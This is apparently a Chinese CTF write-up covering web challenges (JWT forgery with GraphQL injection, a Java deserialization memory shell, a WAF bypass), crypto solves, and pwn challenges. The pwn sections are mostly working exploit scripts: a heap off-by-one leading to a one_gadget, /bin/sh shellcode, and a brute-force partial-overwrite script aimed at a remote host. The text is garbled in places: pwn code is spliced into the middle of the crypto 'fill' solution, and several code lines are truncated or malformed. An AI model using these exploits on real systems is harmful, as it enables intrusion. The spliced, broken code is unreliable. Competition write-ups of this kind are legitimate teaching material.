第三届"祥云杯"-WriteUp by Mini-Venom
2022-11-1 08:4:22 Author: ChaMd5安全团队(查看原文) 阅读量:49 收藏

Web

FunWEB

解题思路
JWT bypass(https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9) 刚出的CVE

通过注册发现有admin用户,然后我们尝试随便注册一个用户,点击获取成绩和查看flag都显示不是admin无法查看,查看cookie发现了jwt

因此,整体思路应该是JWT伪造+graphql注入 上面那个github项目poc

https://github.com/davedoesdev/python-jwt

在 /test/vulnerability.py,将自己的注册用户Cookie替换运行脚本 ,绕过token检验 以为绕过了token就能获得flag但是有密码检测,只有正确的密码才能读到flag https://hwlanxiaojun.github.io/2020/04/14/%E5%BD%93CTF%E9%81%87%E4%B8%8AGraphQL%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B/ 所以要在读取成绩里面用到 Graphql注入 读密码,要注册一个ascii值比较大的用户名和密码,让admin的密码在上面被查询到,登录admin就有flag (没环境 没截图 将就看了)

ezjava

解题思路

实践上目标是不出网的,所以写个内存马就好了,直接 ysuserial-0.1-su18-all.jar一把索了:

1.py:

import base64
from weakref import proxy
import requests
# proxysdata = {
#             'http': "http://127.0.0.1:8081",
#             'https': "http://127.0.0.1:8081"
#         }
file = open("/Users/wa1ki0g/webSec/javaUnserizlize/cc44.txt","rb")
now = file.read()
ba = base64.b64encode(now)
# talk = requests.post("http://127.0.0.1:8080/myTest",data=ba,proxies=proxysdata,verify=False)
talk = requests.post("http://127.0.0.1:8080/myTest",data=ba)

file.close()

最后换下ip端口换成题目的执行命令读下flag

ustwaf

解题思路

题目代码:

 const express = require('express');
 const app = express();
 const bodyParser = require("body-parser")
 const fs = require("fs")
 app.use(bodyParser.text({type: '*/*'}));
 const { execFileSync } = require('child_process');
 
 app.post('/readfile', function (req, res) {
 let body = req.body.toString();
 let file_to_read = "app.js";
 const file = execFileSync('/app/rust-waf', [body], {
 encoding: 'utf-8'
 }).trim();
 try {
 file_to_read = JSON.parse(file)
 } catch (e){
 file_to_read = file
 }
 let data = fs.readFileSync(file_to_read);
 res.send(data.toString());
 });
 
 app.get('/', function (req, res) {
 res.send('see `/src`');
 });
 
 
 
 app.get('/src', function (req, res) {
 var data = fs.readFileSync('app.js');
 res.send(data.toString());
 });
 
 app.listen(3000, function () {
 console.log('start listening on port 3000');
 });

waf:

 use std::env;
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
 
 static BLACK_PROPERTY: &str = "protocol";
 
 #[derive(Debug, Serialize, Deserialize)]
 struct File{
 #[serde(default = "default_protocol")]
 pub protocol: String,
 pub href: String,
 pub origin: String,
 pub pathname: String,
 pub hostname:String
 }
 
 pub fn default_protocol() -> String {
 "http".to_string()
 }
 //protocol is default value,can't be customized
 pub fn waf(body: &str) -> String {
 if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
 return String::from("./main.rs");
 }
 if let Ok(json_body) = serde_json::from_str::<Value>(body) {
 if let Some(json_body_obj) = json_body.as_object() {
 if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
 return String::from("./main.rs");
 }
 }
 //not contains protocol,check if struct is File
 if let Ok(file) = serde_json::from_str::<File>(body) {
 return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
 }
 } else{
 //body not json
 return String::from(body);
 }
 return String::from("./main.rs");
 }
 
 fn main() {
 let args: Vec<String> = env::args().collect();
 println!("{}", waf(&args[1]));
 }

与corctf simplewaf这道题很像,wp链接在这:https://bbspediy.com/thread-274102.htm

具体bypass的原因在这篇文章的这段:

本地打通了,换成题目的链接就好

Crypto

tracing

解题思路 写个逆序回去就可以了

import os
from Crypto.Util.number import long_to_bytes
n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301
c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102
e = 65537
def reverse(filename):
    with open(filename) as qfile:
        qfile.seek(0, os.SEEK_END)
        position = qfile.tell()
        line = ''
        while position >= 0:
            qfile.seek(position)
            next_char = qfile.read(1)
            if next_char == "\n":
                yield line[::-1]
                line = ''
            else:
                line += next_char
            position -= 1
        yield line[::-1]

def rshift1(a):
    return a >> 1

a,b = 1,0
for qfile in reverse('trace.out'):
    if 'a, b = b, a' in qfile:
         a, b = b, a
    if 'a = rshift1(a)' in qfile:
        a = a*2
    if 'b = rshift1(b)' in qfile:
        b= b*2
    if ' a = a - b' in qfile:
        a = a + b
print(a)
print(b)
d = gmpy2.invert(e,a)
m = gmpy2.powmod(c,d,n)

print(long_to_bytes(m))

fill

解题思路
通过s0,s1,s2恢复m,c

m= 55365664
c = 8712091

恢复S的32位 之后通过相减得出M 使用LLL算法对M进行求解, 得出msg为3617517412,求sha256就是flag

M=[19620578458228, 39616682530092, 3004204909088, 6231457508054, 3702963666023, 48859283851499, 4385984544187, 11027662187202, 18637179189873, 29985033726663, 20689315151593, 20060155940897, 46908062454518, 8848251127828, 28637097081675, 35930247189963, 20695167327567, 36659598017280, 10923228050453, 29810039803392, 4443991557077, 31801732862419, 23368424737916, 15178683835989, 34641771567914, 44824471397533, 31243260877608, 27158599500744, 2219939459559, 20255089091807, 24667494760808, 46915118179747]
S=492226042629702
n = len(M)
L = matrix.zero(n + 1)

for row, x in enumerate(M):
    L[row, row] = 2
    L[row, -1] = x

L[-1, :] = 1
L[-1, -1] = S
res = L.LLL()
print(res)elims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
leak1    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr

def main():
    ctx.binary = '/root/Desktop/pwn/pwn'
    ctx.remote = ('47.95.3.91', 42378)
    context.log_level = 'debug'
    context.terminal = ['tmux''splitw''-h'
    # ctx.debug_remote_libc = True
    if args.G:
        rs('gdb', gdbscript='b read\nc')
    elif args.R:
        rs('remote')
    else:
        rs()

    try:
        # rs()
        # input()
        payload = b'a'*0x18+b'\xd1'
        s(payload)
        sleep(0.1)
        payload = b'a' * 0x18 + b'\x02\xf3\x54'
        s(payload)
        sleep(0.1)

        sl('ls')
        sleep(0.1)
        # s(payload)
        d = r()
        if len(d) == 0:
            raise EOFError()
        print(d)
        irt()
        return
    except EOFError as e:
        ctx.close()
        raise e

PWN

bitheap

解题思路 一个2.27的堆,edit函数存在一个字节的溢出,当输入的字符是“1”的时候,会多输出以为。因为edit的存储,会导致下一个堆块的inuser位置0,典型的offbyone,就是输入时edit会把2进制转成16进制然后按位取反。

from pwn import *
sh=process('./sandboxheap'
#sh=remote("101.201.71.136 ",30298)
p64 = lambda con: bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin
elf=ELF(filename)
libc=ELF('libc-2.27.so')
ch="Your choice:"
Size="Size: "
Idx="Index:"
Con="Content:"
def add(idx,size):
    sh.sendlineafter(ch,str(1))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Size,str(size))
def edit(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,con)
def show(idx):
    sh.sendlineafter(ch,str(3))
    sh.sendlineafter(Idx,str(idx))
def delete(idx):
    sh.sendlineafter(ch,str(4))
    sh.sendlineafter(Idx,str(idx))
def edit2(idx,con):
    sh.sendlineafter(ch,str(2))
    sh.sendlineafter(Idx,str(idx))
    sh.sendlineafter(Con,bin(con&0x0000000000ff)[2:].zfill(8)[::-1]+bin(con>>8&0x00000000ff)[2:].zfill(8)[::-1]+bin(con>>16&0x000000ff)[2:].zfill(8)[::-1]+bin((con>>24)&0x0000ff)[2:].zfill(8)[::-1]+bin((con>>32)&0x00ff)[2:].zfill(8)[::-1]+bin((con>>40)&0xff)[2:].zfill(8)[::-1])

for i in range(0x8):
    add(i,0x88)
add(8,0x58)
add(9,0x88)
add(10,0x88)
for i in range(7):
    delete(i)
delete(7)
edit(8,'1'*(0x58*8))
edit(8,'a'*0x58*8)
edit(8,'1'*0x50*8+'a'*4+'1'*4)
delete(9)
for i in range(0x8):
    add(i,0x88)
show(8)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
success("libc_base = "+hex(libc_base))
add(9,0x68)
delete(10)
for i in range(7):
    delete(i)
for i in range(0x7):
    add(i,0x68)
delete(3)
delete(4)
delete(5)
delete(6)
delete(1)
delete(2)
delete(8)
show(9)
sh.recvuntil("Content: ")
heap_base=u64(sh.recv(6).ljust(8, '\0'))-0x860
success("heap_base = "+hex(heap_base))
free_hook = libc_base + libc.sym['__free_hook']
ret = libc_base + 0x00000000000008aa # ret
pop_rdi_ret = libc_base + 0x000000000002164f# pop rdi ; ret
pop_rsi_ret = libc_base + 0x0000000000023a6a # pop rsi ; ret 
pop_rdx_rsi_ret = libc_base +0x0000000000130539# pop rdx ; pop rsi ; ret
pop_rdx_ret = libc_base + 0x0000000000001b96#
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x10
realloc=libc_base+libc.symbols['__libc_realloc']
one=libc_base+0x4f302
add(1,0x68)
add(2,0x68)
edit(2,p64(0)+p64(one)+p64(realloc+2))
add(3,0x10)
sh.interactive()

unexploitable

解题思路

#https://github.com/matrix1001/welpwn
from PwnContext import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')
# 22 bytes
shellcode_32 = """push 0x68732f        # 0x68732f --> hs/     little endian
 push 0x6e69622f      # 0x6e69622f --> nib/  little endian
 mov ebx, esp
 xor edx, edx
 xor ecx, ecx
 mov al, 0xb          # al为eax的低8位
 int 0x80"
""
# 22 bytes
shellcode_64 = """mov rbx, 0x68732f6e69622f  # 0x68732f6e69622f --> hs/nib/  little endian
    push rbx
    push rsp 
    pop rdi
    xor esi, esi               # rsi低32位
    xor edx, edx               # rdx低32位
    push 0x3b
    pop rax
    syscall"
""

# functions for quick script
s       = lambda data               :ctx.send(data)        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(delim, data) 
sl      = lambda data               :ctx.sendline(data) 
sla     = lambda delim,data         :ctx.sendlineafter(delim, data) 
r       = lambda numb=4096, timeout=0.2         :ctx.recv(numb, timeout=timeout)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
leak1    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
seg_addr = lambda elf, seg : elf.get_section_by_name(seg).header.sh_addr

def main():
    ctx.binary = '/root/Desktop/pwn/pwn'
    ctx.remote = ('47.95.3.91', 42378)
    context.log_level = 'debug'
    context.terminal = ['tmux''splitw''-h'
    # ctx.debug_remote_libc = True
    if args.G:
        rs('gdb', gdbscript='b read\nc')
    elif args.R:
        rs('remote')
    else:
        rs()

    try:
        # rs()
        # input()
        payload = b'a'*0x18+b'\xd1'
        s(payload)
        sleep(0.1)
        payload = b'a' * 0x18 + b'\x02\xf3\x23'
        s(payload)
        sleep(0.1)

        sl('ls')
        sleep(0.1)
        # s(payload)
        d = r()
        if len(d) == 0:
            raise EOFError()
        print(d)
        irt()
        return
    except EOFError as e:
        ctx.close()
        raise e
    # except EOFError as e:
    #     ctx.close()
while True:
    try:
        main()
        break
    except EOFError:
        continue

onegagdet找到0x4f302,先覆盖main地址回到push ebp后面,以便能覆盖libc_start_main地址,然后低位选择302,高3位随意,多跑几次就出来了。

end

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]


文章来源: http://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247507359&idx=1&sn=f18e1475e0470f9db2bd4d3b3f73b615&chksm=e89df547dfea7c51ccdefa41e7904ea5a3f6ba3832cd93297f629adb627e0719918e80398f21#rd
如有侵权请联系:admin#unsafe.sh